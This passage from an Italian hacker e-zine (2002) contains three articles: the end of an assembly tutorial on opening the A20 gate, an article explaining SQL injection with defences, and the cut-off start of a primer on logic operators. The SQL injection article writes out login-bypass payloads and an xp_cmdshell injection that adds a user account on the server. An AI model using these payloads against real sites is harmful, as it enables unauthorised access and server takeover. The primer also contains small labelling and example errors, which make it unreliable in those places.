diffuso che riguarda i PC AT, | | ovvero il 99% di quelli in uso oggi. Sui PS/2 e` abbastanza semplice: | | basta settare a 1 il secondo bit della porta 92h, cosa che Hactar esegue | | con le seguenti linee di codice: | | | | in al, 92h ; A20 enable bit 1 of p92h | | or al, 2 ; (this is valid for PS/2) | | jmp $+2 | | jmp $+2 | | out 92h, al ; write to p92h | | | | che leggono il valore contenuto nella porta 92h (alcune porte funzionano | | come locazioni di memoria che si possono leggere e scrivere con speciali | | comandi assembly, per l'appunto IN ed OUT; altre funzionano solo in una | | delle due vie, solo in lettura o solo in scrittura; altre ancora sono | | adibite al trasferimento di dati, dove si possono INputare o OUTputare | | un numero illimitato di valori nel tempo). La porta 92h dei PS/2 fa | | parte della prima categoria: una specie di "switcher", come quelli che | | si trovano sugli hard disks per cambiare lo stato della periferica (da | | master a slave, per esempio). Il secondo bit puo` essere visto come un | | "ponticello digitale", e settare in esso il valore 1 significa chiudere | | il contatto, mentre il valore zero lo riaprirebbe. Ora, il registro AL | | e` usato per contenere temporaneamente il valore della porta 92h dopo la | | lettura e prima della scrittura (fra l'altro, assieme ad AX e` l'unico | | registro che puo` essere direttamente trasferito da e verso le porte). | | Quindi per prima cosa viene letta la porta 92h, il suo valore depositato | | nel registro AL, poi AL viene ORato con il valore 2, che corrisponde al | | bit 1 (al secondo bit, visto che il primo e` il bit zero), in modo che | | tale bit venga settato a 1. La modifica al reale valore della porta 92h, | | pero`, non avviene finche` non si RISCRIVE la porta con il comando OUT. | | Prima di quest'ultima operazione si pongono in genere uno o due salti | | "a vuoto", salti all'istruzione successiva, per attendere qualche | | microsecondo: a volte i controller di queste vecchie porte sono lenti, | | e potrebbero non accettare i comandi se vengono impartiti in modo troppo | | rapido. Potevo usare delle NOP? No, le NOP sono accoppiabili sulle CPU | | superscalari (cioe` a piu` di una pipeline, capaci insomma di eseguire | | piu` istruzioni insieme). Le NOP sono buone per allineare dati e codice, | | ma non sono altrettanto valide per far aspettare un po' la CPU. Un salto | | a vuoto, invece, costringe il processore a interrompere la coda di | | prefetch per tutte le pipelines. Ergo, lo costringono ad eseguire quelle | | istruzioni una per volta, aspettando in questo caso 2 cicli macchina. | | Fatto questo, se abbiamo a che fare con la circuiteria "tipo PS/2", il | | processore dovrebbe aver abilitato le linee d'indirizzamento da 20 a 31, | | e per verificare si passa a fare un semplicissimo controllo: | | | | call a20test ; A20 actually enabled? | | jz a20enabled ; (yes) | | | | Per quanto riguarda il funzionamento dell'a20test, come ho detto e` | | molto semplice: anche senza passare alla modalita` flat, da quella reale | | e` possibile, se ci si pensa bene, accedere a locazioni poste oltre il | | fatidico limite del primo megabyte di memoria fisica. Precisamente, si | | possono raggiungere ben 65520 bytes di memoria al di fuori del primo Mb: | | quest'area di memoria va sotto il nome di HMA (High Memory Area). | | Per esempio, in essa viene depositato spesso gran parte del sistema | | operativo MS-DOS, come si puo` verificare tramite il comando "mem", che | | in tali casi recita "MS-DOS e` residente nell'area di memoria alta". | | Come e` possibile raggiungerla? Ponendo uno dei registri di segmento, | | in modalita` reale, al valore FFFFh, il massimo valore raggiungibile. | | Se questo, nella dinamica degli indirizzi della modalita` reale spiegata | | nel capitolo 2, viene aggiunto ad un offset di Fh (15 in decimale), si | | stara` indirizzando la locazione FFFFFh, ovvero l'ultima disponibile al | | di sotto del primo megabyte. Ma noi sappiamo che l'offset e` di 16 bit, | | e quindi possiamo ampiamente superare il valore Fh, arrivando a un nuovo | | limite di FFFFh:FFFFh, posto appunto 65519 bytes AL DI FUORI del primo | | megabyte di memoria fisica. Il test fa proprio questo: se il BUS risulta | | ancora di 20 bit soltanto, qualsiasi indirizzo piu` altro di FFFFh:Fh | | verra` "tagliato" dalla CPU (questo fenomeno si chiama "wraparound"), in | | modo che, ad esempio, l'indirizzo FFFFh:10h, corrispondente a 100000h, | | generera` un "bit di riporto" fuori dal range di 20 bit (proprio come un | | riporto aritmetico, un "overflow"), e in 20 bit soltanto quell'indirizzo | | di 21 bit verra` visto come "00000h", ovvero puntera` proprio alla PRIMA | | locazione di memoria fisica, cioe` al vettore dell'interrupt zero. | | Il ragionamento a questo punto e` banale: si prova a cambiare il valore | | del primo byte che si trova al di la del primo megabyte. Se quel valore | | viene davvero cambiato (e quindi non si riflette come un cambiamento del | | primo byte di memoria in assoluto), significa che siamo riusciti ad | | abilitare le linee d'indirizzamento da 20 a 31, ad aprire la "gate A20". | | Il test, in quel caso, setta il flag "zero" (ZF) che deriva direttamente | | dal confronto del valore a FFFFh:10h, segnalando che la gate e` aperta. | | Altrimenti, a questo punto non ci troviamo a che fare con il tipo PS/2, | | e quindi procediamo con un altro tentativo volto ad aprire A20 sui PC di | | tipo AT, con le seguenti istruzioni: | | | | call a20wait ; (no, so try with AT style) | | jnz a20ATtry | | mov al, 0d1h ; output to i8042 STATUS PORT | | out 64h, al | | call a20wait ; wait for safe write | | jnz a20ATtry ; proceed | | mov al, 0dfh ; tell PORT A to enable A20 | | out 60h, al | | call a20wait ; wait for safe write | | a20ATtry: mov cx, 2048 ; try 2048 cycles | | a20try_loop: call a20test ; enabled? | | jz a20enabled ; (yes) | | in al, 40h ; current PIT ch.0 tick | | jmp $+2 | | jmp $+2 | | in al, 40h | | mov ah, al ; save current tick number | | a20try_loop_2: in al, 40h ; wait next tick | | jmp $+2 | | jmp $+2 | | in al, 40h | | cmp al, ah ; still same tick? | | je a20try_loop_2 ; (yes) | | loop a20try_loop ; (no, go on with next try) | | | | nei dettagli, spiegare come funzionano i cicli di attesa prenderebbe | | un po' troppo spazio, e siamo agli sgoccioli e vorrei accennare ad altre | | cose: diro` che implicano le caratteristiche del famoso PIT, attraverso | | la porta 40h che e` quella da cui, in lettura, si puo` accedere al | | conteggio interno del canale zero. Per il resto, sinceramente potete | | prendere questo frammento "per buono", la sua unica funzione e` quella | | di aprire la gate A20. Questo avviene, in particolare, attraverso un | | comando di scrittura sulla porta 60h, chiamata PORT A e connessa alla | | chip i8042, che e` il controller della tastiera. Ora, cosa c'entri la | | gate A20 con la tastiera sinceramente NON LO SO, so solo che in effetti, | | come risulta da quest'estratto del file PORTS.A dei Ralf Brown files... | | | | Bitfields for AT keyboard controller output port: | | Bit(s) Description (Table P0383) | | 7 keyboard data output | | 6 keyboard clock output | | 5 input buffer NOT full | | 4 output buffer NOT empty | | 3 reserved (see note) | | 2 reserved (see note) | | 1 gate A20 | | 0 system reset | | | | ...a quanto pare il keyboard controller e` predisposto anche per il | | controllo di questa funzione. Probabilmente si tratta di una questione | | di compatibilita` con sistemi precedenti ma, lo ripeto, non so perche` | | il bit di controllo della gate A20 sia stato messo proprio li, ne` so | | perche` il codice di comando da inviare alla porta sia DFh, che letto | | in binario significa 11011111, e che secondo la tabella significherebbe | | settare tutte le condizioni tranne il bit 5, "input buffer NOT full". | | Il frammento per aprire gate A20 e` infatti costante, in qualsiasi | | situazione, usato nello stesso modo dai vari extender (DPMI servers, | | DOS4GW, HIMEM.SYS, PMode, eccetera), e il codice di comando DFh, oltre | | al fatto che funziona al di la di ogni dubbio, e` riportato tale e | | quale sul manuale d'assembly che menzionai nel primo capitolo, cioe` | | il Murray-Pappas, che testualmente (ma confusionariamente, dato che i | | traduttori facevano del loro meglio per capire quel che non potevano | | capire) riporta: | | | | 0DDh bit 20 bus indirizzi disattivato (A20 sempre 0) | | 0DFh bit 20 bus indirizzi attivato (286 controlla A20) | | | | E dove il "bit 20" e` in realta` solo un modo piu` breve di indicare i | | bits da 20 a 31: non e` che si possa aprire o chiudere SOLO il bit 20. | | Per finire, prima di scrivere sulla porta di controllo dell'i8042, | | ovvero la 60h, selezionata in precedenza inviando un codice di comando | | D1h alla porta 64h, ci si accerta che il suo buffer di scrittura, in | | cui vengono conservati i comandi inviati e attualmente in attesa di | | essere eseguiti dalla chip, non sia pieno. Questo e` segnalato da un | | readback (un'operazione di lettura, di INput) sulla porta di stato, | | la 64h, alla ricerca del segnale di buffer pieno dato da un eventuale | | settaggio del bit 1 nel risultato della lettura (registro AL). Anche | | se non ci avete capito molto, non curatevene: esiste un solo modo di | | aprire la gate A20 sugli AT... potete benissimo fare un bel "taglia e | | incolla" e lavarvene le mani, come del resto ho "quasi" fatto io ;) | | | | Veniamo al resto dell'inizializzazione della modalita` flat a 32 bit. | | In seguito all'apertura della gate A20, e quindi di tutte le linee del | | BUS della memoria dalla 20 alla 31, siamo in grado di accedere a tutta | | la memoria fino ai promessi 4 Gb? No. Non ancora. Siamo ancora costretti | | nello spazio del primo megabyte dal fatto di usare registri a 16 bit per | | l'indirizzamento delle celle di memoria. Insomma, stavolta si tratta di | | far capire alla CPU che vogliamo, d'ora in avanti, usare registri di 32 | | bit come EDI, ESI, EBP al posto dei "vecchi" DI, SI, BP. Fra l'altro, | | una volta entrati in modalita` flat saremo in grado di usare qualsiasi | | registro a 32 bit per accedere alla memoria (anche EAX, ECX ed EDX). | | C'e` un solo modo di costringere una CPU in standard Intel a funzionare | | in modalita` flat: entrare in modalita` protetta. Ma questo non vuol | | dire che USEREMO le caratteristiche di protezione: avremo la modalita` | | protetta, ma ignoreremo le sue caratteristiche di protezione, | | limitandoci a sfruttare le sue capacita` d'indirizzamento a 32 bit. | | | | Qui il discorso si complica: in teoria, l'operazione che porta la CPU ad | | entrare in modalita` protetta e` una semplice modifica al registro di | | controllo denominato CR0 (sigla di Control Register 0, per l'appunto): | | | | mov eax, cr0 | | or eax, 1 | | mov cr0, eax | | | | bastano tre righe di codice. O meglio, basterebbero. | | Il fatto e` che l'ingresso in modalita` protetta comporta innumerevoli | | cambiamenti nel modo in cui la CPU esegue TUTTI i programmi in corso, | | siano essi parte del kernel, di una semplice applicazione o addirittura | | del BIOS. Quindi, se provaste a fare una cosa del genere senza prima | | preparare il sistema a funzionare nella nuova modalita`, si pianterebbe | | tutto immediatamente. Bene: siamo in chiusura, e le operazioni da fare | | per preparare il sistema all'ingresso in modalita` protetta le vedremo | | la prossima volta, molto in dettaglio (perche` sono importantissime). | | Ma per fare il punto della situazione vi faro` un breve sommario delle | | questioni da risolvere. Fissatevi in memoria i paroloni usati: | | | | 1. In modalita` protetta i registri di segmento, cioe` CS, DS, ES, | | FS, GS, SS, si chiamano "selettori" e funzionano in un modo che | | non ha niente a che vedere con la modalita` reale: essi puntano | | a delle aree di memoria i cui limiti ed attributi sono forniti | | da una serie di registrazioni poste in RAM, e ognuna di queste | | registrazioni e` detta "descrittore". Ora, tutti i descrittori | | delle aree di sistema sono mantenuti in una tabella, chiamata | | Global Descriptors Table, in sigla GDT, che dovremo costruirci | | e della quale dovremo fornire al processore l'indirizzo del suo | | primo byte (noto come l'indirizzo di base della GDT). Oltre alla | | GDT potrebbero esserci una o piu` LDT (Local Descriptors Table) | | che sono tabelle di descrittori che riguardano le applicazioni: | | siccome in Hactar le applicazioni possono usare direttamente la | | GDT di sistema per accedere alla memoria, non costruiremo nessuna | | di queste LDT. | | | | 2. Le interrupts stesse, in modalita` protetta hanno una loro | | tabella di descrittori, che ha la stessa funzione svolta, in | | modalita` reale, dalla IVT (Interrupt Vectors Table). Questa | | tabella di descrittori riservata alle interrupts si chiama IDT, | | cioe` Interrupt Descriptors Table. Il sistema dovra` costruire | | anche una di queste tabelle. | | | | 3. Tutti i programmini che gestiscono le interrupts, al momento del | | passaggio alla modalita` protetta, saranno ancora gli stessi, ed | | useranno codice a 16 bit previsto per funzionare in modalita` | | reale; casomai, solo IN SEGUITO potremo caricare dei programmi di | | gestione delle interrupts funzionanti in modalita` flat; ma al | | momento del primo "mode switch" (cosi si chiama il passaggio da | | modalita` protetta o flat a modalita` reale, e viceversa) dovremo | | fare in modo che TUTTE le interrupts continuino a funzionare come | | se nulla fosse accaduto. | | | | 4. Una volta effettuato il mode switch, dovremo ri-invalidare la | | "coda di prefetch" delle istruzioni da parte del processore, che | | altrimenti conterrebbe ancora puntatori a istruzioni nel formato | | segmento:offset. La "coda di prefetch", infatti, ha lo scopo di | | precaricare le prossime istruzioni in memoria cache, cosicche` | | non si subiscano ritardi dovuti all'accesso alla DRAM. Come per | | i cicli di attesa visti in precedenza, si trattera` di fare un | | "salto a vuoto", ma stavolta dovremo specificare un'indirizzo di | | destinazione in un formato diverso, quello flat, anche se esso | | verra` comunque a corrispondere all'istruzione successiva. | | | | E` difficile, dite? Molto piu` a spiegarsi, e a capirsi, che a FARSI. | | Il prototipo di kernel che vi ho fornito fa gia` tutto questo nei suoi | | primi 2,25 Kb di codice, quelli che corrispondono al memory manager; | | e dopo aver visto come funziona il memory manager, e la modalita` flat, | | vedremo tutto il resto del codice del kernel, che per l'appunto funziona | | esclusivamente in modalita` flat: la piu` semplice e la piu` veloce. | | | | Alexander The Great | | | | http://anywhere.i.am | | alex.tg@tiscalinet.it | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N [SNHYPER] 0x0E/0x1D | +--------------------------------------------------------------------------+ | | | In questo articolo analizzeremo gli attacchi di SQL injection, ovvero | | quegli attacchi che prevedono l'inserimento di codice (quini comandi) | | SQL addizionali nelle input box che sono presenti in molti siti web che | | utilizzano database per la gestione di utenti, informazioni etc... | | | | | | I programmatori delle form web ( che utilizzano Perl, ASP,CGI etc..) | | "invitano" l'utente ad inserire i dati richiesti all'interno do ogni | | "data-field" (campo). Molte volte non hanno la cura o la perizia di | | immaginare tutti i possibili dati che possono essere immessi nei | | suddetti campi (accidentalmente o di proposito). L'input "scorretto" e' | | usato solitamente per creare comandi che, elaborati dallo script in modo | | scorretto, vengono eseguiti contro il server SQL. Nei miei | | test,purtroppo molti siti sono risultati vulnerabili, permettendomi di | | accedere con facilita'… al database contenuto nel server, e quindi | | lasciandomi capace di leggere e / o modificare dati molte volte | | sensibili. | | | | | | Ma ora veniamo alla parte pratica. | | | | | | Vediamo una semplice riga di codice usata per fare il login al server | | SQL tramite una pagina web: | | | | ----start-code---- | | | | SQL = " select * from users where username = ' " & | | request.form ( " username " ) & " ' and password = ' " & | | request.form ( " password " ) & " ' " | | | | ------end-code---- | | | | | | Quando l'utente che deve effettuare il login immette la classica | | coppiata username e password, le variabili SQL conterranno i dati | | immessi, quindi la situazione in codice sara' la seguente [poniamo | | user=SNHYPER e pass=hacker] : | | | | ----start-code---- | | | | select * from users where username = ' SNHYPER ' and password | | = ' hacker ' | | | | ------end-code---- | | | | | | Se questo comando SQL viene eseguito verso il database esso, come | | possiamo intuire, ritornera' il *record* ( username e password sono | | corrette), o non ritornera' nulla (in quanto non e' stata trovata | | nessuna voce [record] nel database e quindi.. username e password sono | | errate). | | | | | | Ora iniziamo ad analizzare la tipologia di attacco relativa. Proviamo ad | | introdurre il singolo apice ( ' ) all'interno dell'input box e | | inviare: | | | | ______________________________ | | | | | | | USERNAME: ' | | | | PASSWORD: | | | |______________________________| | | | | | | La seguente risposta è ritornata dal server (la risposta può variare) : | | | | | | Syntax error in string in query expression 'username=''' AND | | password='';'. | | | | | | Suppongo che a prima impressione non vi dica niente.....ma la frase " | | imparare dagli errori..." non è detta per niente... Infatti ora | | l'attaccante sa il nome dei campi usati all'interno del codice! E cioè | | in questo caso username e password, ma che sarebbe potuto essere | | benissimo altro ( a me è capitato ad esempio *user , passwd*, *user , | | pass* etc...). Avendo in mano i campi usati all'interno del codice, | | l'attaccante può | | passare al prossimo *livello*. | | | | | | Proviamo ad inserire i seguenti input nella box di login: | | | | | | ________________________________________________ | | | | | | | USERNAME: ' or username like ' % | | | | PASSWORD: ' or password like ' % | | | |_______________________________________________| | | | | /* al posto di username e password..l'attaccante userà i campi | | trovati dall'errore...in questo caso è corretto */ | | | | Una volta inviato, le variabili SQL conterranno i dati immessi, quindi | | la situazione in codice sara' la seguente: | | | | ----start-code---- | | | | select * from users where username = ' ' or username like ' | | % ' and password = ' ' or password like ' % ' | | | | ------end-code---- | | | | | | Se questo comando viene eseguito, ritornerà TUTTI i record del database. | | Se l'applicazione usa questo metodo di determinazione della coppia | | username/password ( l' 80% dei casi ) , continuerà col processo di | | login. | | | | L'attaccante verrà considerato come il primo utente all'interno del | | database ( molto spesso l'utente Administrator! ), e quindi avrà tutti i | | permessi associati all'utente che impersonifica. | | | | Altro esempio, che è solo una piccola modifica del precedente: | | | | | | ________________________________________________ | | | | | | | USERNAME: ' or username like 'A% | | | | PASSWORD: ' or password like ' % | | | |_______________________________________________| | | | | In questo caso il database ritornerà tutti i record con utenti che | | iniziano per " A ". | | | | Altri input box di login che si trovano in rete sono ad esempio quelli | | per l'ingresso di staff e simili ( ne ho trovati pochi), ed avranno un | | codice di login simile al seguente: | | | | ----start-code---- | | | | SQL = " select * from users where staffnumber = ' " & request.form | | ( " staffnumber " ) & " ' and password = ' " & | | request.form ( " password " ) & " ' " | | | | ------end-code---- | | | | | | Quando l'utente che deve effettuare il login immette la classica coppia | | staffnumber e password, le variabili SQL | | conterranno i dati immessi, quindi la situazione in codice sara' la | | seguente [poniamo staffnumber=31337 e pass=hacker] : | | | | ----start-code---- | | | | select * from users where staffnumber = 31337 and password = | | hacker ' | | | | ------end-code---- | | | | Se questo comando SQL viene eseguito verso il database esso, come | | possiamo intuire, ritornera' il *record* ( username e password sono | | corrette), o non ritornera' nulla (in quanto non e' stata trovata | | nessuna voce [record] nel database e quindi.. username e password sono | | errate). | | | | | | Ora iniziamo ad analizzare la tipologia di attacco : Proviamo ad | | introdurre ancora il singolo apice ( ' ) all'interno dell'input box e | | inviare: | | | | _______________________________ | | | | | | | STAFFNUMBER: ' | | | | PASSWORD: | | | |______________________________| | | | | | | La seguente risposta è ritornata dal server (la risposta può variare) : | | | | Syntax error in string in query expression 'staffnumber=' AND | | password='';'. | | | | Anche in questo caso l'attaccante ha in pugno i campi dell'input box che | | gli consentiranno di immettere dati scorretti. | | Quindi proviamo ad inserire i seguenti dati: | | | | | | ________________________________________ | | | | | | | STAFFNUMBER: 0 or 1=1 | | | | PASSWORD: ' or password like '% | | | |_______________________________________| | | | | Una volta inviato, le variabili SQL conterranno i dati immessi, quindi | | la situazione in codice sara' la seguente: | | | | ----start-code---- | | | | select * from users where staffnumber = 0 or 1 = 1 and | | password = ' ' or password like ' % ' | | | | ------end-code---- | | | | | | Se questo comando viene eseguito, ritornerà TUTTI i record del database. | | Se l'applicazione usa questo metodo di determinazione della coppia | | staffnumber/password ( spesso ), continuerà col | | processo di login. | | | | Altro problema che purtroppo può infliggere un server SQL, ben più | | scomodo da "digerire" e più pericoloso... è l'esecuzione tramite le | | inserzioni di codice viste sopra, di comandi per attivare shell remote | | etc....; una sorta di problemi come per il cmd.exe in winnt. | | | | Vediamone un esempio: | | | | ______________________________________________________________________ | | | | | | |USERNAME: ' exec master..xp_cmdshell 'net user newusername | | | | newpasswd /ADD' -- | | | |_____________________________________________________________________| | | | | | | Che in codice verrò interpretato nel seguente modo: | | | | -----start-code------ | | | | SELECT * FROM myTable WHERE someText ='' exec master..xp_cmdshell | | 'net user newusername newpasswd /ADD'--' | | | | ------end-code------ | | | | Se l'applicazione che gestisce il server SQL sta girando con privilegi | | tali da poter creare utenti..... immettendo questo comando verrà | | aggiunto un nuvo utente nel database! | | | | I due trattini " -- " alla fine della stringa sono usati per commentare | | tutto il codice che segue | | | | Come abbiamo visto viene rikiamata tramite una exec( ) una shell remota | | " xp_cmdshell " che permette all'attaccante di eseguire codice | | arbitrario sul database preso di mira. In SQL Server gli amministratori | | di NT godono di privilegi speciali, poiché per default essi sono | | amministratori di SQL Server con poteri assoluti. In virtù di questo | | loro potere, gli amministratori possono eseguire la "pericolosa" | | Extended Stored Procedure chiamata "xp_cmdshell". Infatti attraverso | | essa, è possibile lanciare un comando in un prompt shell del server di | | riferimento, autenticandosi con lo stesso account del DB server. Dal | | momento che spesso l'account di SQL Server ha poteri molto alti sul | | server di destinazione, tale possibilità permette di possedere un | | qualcosa di molto simile ad una console remota sull'NT che ospita il DB | | Server. | | | | Purtroppo non esiste solo la " xp_cmdshell " , ma molte altre che | | gestiscono varie applicazioni e che permettono, se non disabilitate, di | | avere praticamente in mano l'intero server ed oltre. ( xp_cmdshell, | | sp_adduser, xp_reg, sp_delete_alert, sp_password, sp_start_job, | | xp_setsqlsecurity, xp_updatecolvbm etc..etc..) | | | | | | ####### Come possiamo ovviare a queste tipologie d'attacco ######## | | | | | | 1) Non permettere l'uso di metacaratteri!!!! | | | | 2) Non permettere l'inserimento del singolo apice ( ' ). Sostituirlo *on | | the fly* con 2 singoli apici ( 2 x ' e non ") Ad esempio con una stringa | | come questa : goodString = replace(inputString,','') faremo ciò | | detto sopra. | | | | 3) Se all'utente è rikiesto di inserire un numero..verificare che sia un | | numero, ad esempio con " ISNUMERIC " | | | | 4) Usare lo username inserito per cercare il record, e quindi compararlo | | con la password registrata. | | | | 5) Implementare un * error handling * che non dia informazioni sensibili | | nel momento in cui viene commesso un errore di input. | | | | 6) Essere sicuri che l'applicazione stia girando con permessi | | sufficienti per eseguire le normali operazioni di routine. | | | | | | | | Tnx && Bye to: FuSyS, Nobody, Naif, Nextie, Raptor, | | Morpheo, SirPsychoSexy,MoF crew,UIHA crew e quelli che ho tralasciato | | | | Fucks to...anyone | | | | For contact : snhyper@hotmail.com | | | | [[[[[[ ..::SNHYPER::.. ]]]]]] | | * Security Develover * | | Linux registered user #249109 | | Linux registered machine #133922 | | | | | | -----BEGIN PGP PUBLIC KEY BLOCK----- | | | | mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk | | HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF | | Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q | | nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ | | 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW | | dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 | | 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S | | SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU | | EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z | | yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 | | LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U | | ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K | | =uAC7 | | -----END PGP PUBLIC KEY BLOCK----- | | | | | +--------------------------------------------------------------------------+ +--------------------------------------------------------------------------+ | ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 | | 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE [CiLi0] 0x0F/0x1D | +--------------------------------------------------------------------------+ | | | _______-=(menu)=-__________ | | | -INTRODUZIONE | | | - OPERATORI LOGICI | | | -and | | | -or | | | -xor | | | -not | | | -NUMERAZIONE ESADECIMALE | | | -Bin | | | -BCD | | |___________________________ | | | | | | | | | | -=(INTRODUZIONE)=- | | | | | | ---------------------------------- | | | | DeDiCaTo A : Ste ( prima o poi c'è la fai cn la Eri ;D ) ... Mighty( a | | cui rompo sempre le balle in IRC, approposito qnd mi regali la maglieta | | cn "b0rn the frag" ? =) al team della TCC per la loro disponibilità e | | cortesia ( peggio di quelli della coop :) a Lu anche se mi ha incasinato | | nn poko( ma proprio me dovevi andar a peskare...) .. naturalmentea a | | XpTerminator ( hai visto ti ho inserito :) e a tutti quelli che si | | impegnano a tener su l'underground italiano cn i loro txt. | | | | StEsUrA FiNaLe : 13/10/01 - 23.00 | | | | SiTuAzIoNe : ho perso il modem ( kissa in ke cazzo di scatolone è | | finito... ) e qundi mi ritrovo off-line x cui megli mettersi il cuore in | | pace e scrivere questi piccoli appunti (SIGH..VOGLIO IL MIO MODEM!!!!!) | | | | | | ----------------------------- | | | | CIao a tutti! con questo piccolo articolo vorrei (tentare di) | | descrivervi il "funzionamento" degli operatori logici e come convertire | | un numero decimale in esadecimale e viceversa... Vorrei anticipare però | | che tutto quello che sto per dire è solo frutto di mie esperienze e | | qundi se ho scritto qualche ENORME cavolata fatemelo sapere a | | fangame@virgilio.it | | | | | | | | -=(OPERATORI LOGICI)=- | | | | | | Gli operatori logici sono presenti in molti linguaggi di programmazione | | e si basano sulla matematica booleana. Detti anche connettori logici | | permettono di condizionare un programma a seconda delle situazioni. | | Messi a punto dal matematico George Boole (nel diciannovesimo secolo ) | | non sono stati creati per un applicazione in ambito informatico, anche | | se poi si sono rivelati utilissimi , data la particolare architettura di | | un elaboratore ( calcolo binario ). Prima di iniziare veramente con gli | | operatori logici bisogna definire alcuni termini : | | | | PORTA LOGICA :circuito che si basa su un determinato operatore logico ( | | AND, OR , NOT ) OPERATORI LOGICI : regole che permettono di analizzare | | proposizioni rappresentandole mediante simboli. gli operatori logici | | fondamentali sono : _ NON ( NOT ): negazione ( simboli ) E ( AND ) | | : prodotto logico ( simbolo . ) O ( NOT ) : somma logica ( simbolo +) | | | | | | dai legami risultano nuove proposizione che a loro | | volta possono essere solo vere o false | | | | BIT : più piccola parte di una memoria di un elaboratore ( 1 Gb | | - 1024M - 1M - 1024 Kb - 1Kb 1024 byte - 1 byte 8 bit ) ( teoricamente | | "TO HACK" - spaccare un bit in 4 , cosa estremamente difficile :) | | | | | | | | Quindi , tutte le variabili, dipendenti o indipendenti, di un sistema | | logico hanno due soli valori possibili : | | | | - 0 ( falso ) - 1 ( vero ) | | | | Tali variabili risultano legate tra loro unicamente mediante i tre | | operatori fondamentali NOT, AND, OR. | | | | | | -===[( O.L. and )]===- | | | | l'operatore logico AND fornisce un bit "1" quando entrambi i bit che sta | | comparando sono a livello logico "1". | | | | | | BYTE |1|0|1|1|0|1|0|0| and | | BYTE |1|1|0|1|1|1|1|1| RISULTATO |1|0|0|1|0|1|0|0| | | | | | | questo perchè si ha il PRODOTTO logico ( 1 X 1 = 1 / 0x0 = 0 / 1x0 = 0 | | ) in un discorso a livello di linguaggi di programmazione si potrebbe | | fare questo esempio in BASIC, supponiamo di avere 4 variabili settate in | | questo modo : | | | | | | | | - SARA = "ragazza" - ERIKA = "ragazza" - STEFANO = "ragazzo" - ALESSIO | | = "ragazzo" | | | | | | ( ogni riferimento è puramente casuale :) , scherzo ciao raga!!!! ) | | | | Consideriamo queste righe : | | | | IF SARA = "ragazza" AND STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' | | COME RISULTATO LOGICO 0 PERCHE' E' VERO SOLO 1 DELLE CONDIZIONI | | | | IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' | | COME RISULTATO LOGICO 1 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE | | | | IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' | | CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE 2 CONDIZIONI E' VERA | | | | | | Per concludere posso dire che l'operatore logico AND può essere | | comparato all' INTERSEZIONE di più insiemi | | | | | | | | N.B.: il simbolo "." è uguale al X il problema ke nn c'è un codice ASCII | | di un punto a mezz'aria :D | | | | -===[( O.L. or )]===- | | | | l'operatore logico OR fornisce un bit ad "1" quando uno o entrambi i bit | | che si sta comparando sono a livello logico "1" | | | | | | BYTE |1|0|1|0|0|1|0|0| or BYTE |0|0|0|1|0|0|0|0| | | RISULTATO |1|0|1|1|0|1|0|0| | | | | | | | | Si ha infatti la somma logica 1 + 0 = 1 / 0 + 0 = 0 / 1 + 1 = 1 ( in | | binario da 1 :) / 0 + 1 = 1 Sempre nell'ambito dei linguaggi di | | programmazione , prendiamo nuovamente d'esempio le solite variabili : | | | | | | - SARA = ragazza - ERIKA = ragazza - STEFANO = ragazzo - ALESSIO = | | ragazzo | | | | | | e casi simili : | | | | | | IF SARA = "ragazza" OR STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' | | COME RISULTATO LOGICO 1 PERCHE ALMENO UNA DELLE 2 CONDIZIONI E' VERA | | | | IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' | | COME RISULTATO LOGICO 1 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE | | | | IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' | | CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE DUE CONDIZIONI E' | | SODDISFATTA | | | | | | | | | | -===[( O.L. not )]===- | | | | il not è l'unico operatore logico unario ( ovvero cn un solo ingresso, | | manca la comparanzione in poke parole ) e da come risultato il | | complementare del valore esaminato. | | | | | | BYTE |1|0|1|1|0|0|1|0| not RISULTATO |0|1|0|0|1|1|0|1| | | | | | | | | _ si ha infatti il complementare di un bit, supponiamo ke un bit sia uno | | il suo complementare sarà 0 ( 1 = 0 ) | | | | -O.L. xor - | | | | | | l'operatore logico XOR fornisce un bit ad "1" quando i bit che si stanno | | comparando hanno valori logici diversi. Quindi se tutti e due i bit | | d'ingresso sono a "1" o a "0" il ivello logico in uscita sarà "0". | | | | | | | | V BYTE |1|0|1|0|0|1|0|0| xor BYTE | | |0|0|0|1|0|1|0|0| XOR RISULTATO | | |1|0|1|1|0|0|0|0| | | | | | | | | si ha un eccezione in 